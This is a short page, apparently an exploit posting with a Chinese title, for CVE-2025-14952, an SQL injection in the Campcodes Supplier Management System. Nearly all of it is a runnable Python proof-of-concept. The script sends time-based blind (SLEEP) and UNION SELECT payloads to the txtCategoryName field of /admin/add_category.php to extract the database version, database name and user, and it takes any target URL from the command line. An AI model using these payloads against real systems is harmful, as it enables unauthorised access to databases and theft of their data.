CVE-2025-14952 Campcodes供应商管理系统SQL注入漏洞

import requests import sys # CVE-2025-14952 PoC - Campcodes Supplier Management System SQL Injection # Target: /admin/add_category.php via txtCategoryName parameter target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/admin/add_category.php" # SQL Injection payload - Time-based blind injection # Test if parameter is vulnerable by checking response time payloads = [ "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -", "test' UNION SELECT NULL,version(),NULL,NULL-- -", "test' UNION SELECT NULL,database(),NULL,NULL-- -", "test' UNION SELECT NULL,user(),NULL,NULL-- -" ] headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Testing CVE-2025-14952 SQL Injection on {target_url}") print(f"[*] Target parameter: txtCategoryName") for i, payload in enumerate(payloads, 1): print(f"\n[+] Test {i}: {payload}") data = { "txtCategoryName": payload, "btnSubmit": "Add Category" } try: response = requests.post(target_url, data=data, headers=headers, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: Modify target URL and payloads based on testing requirements")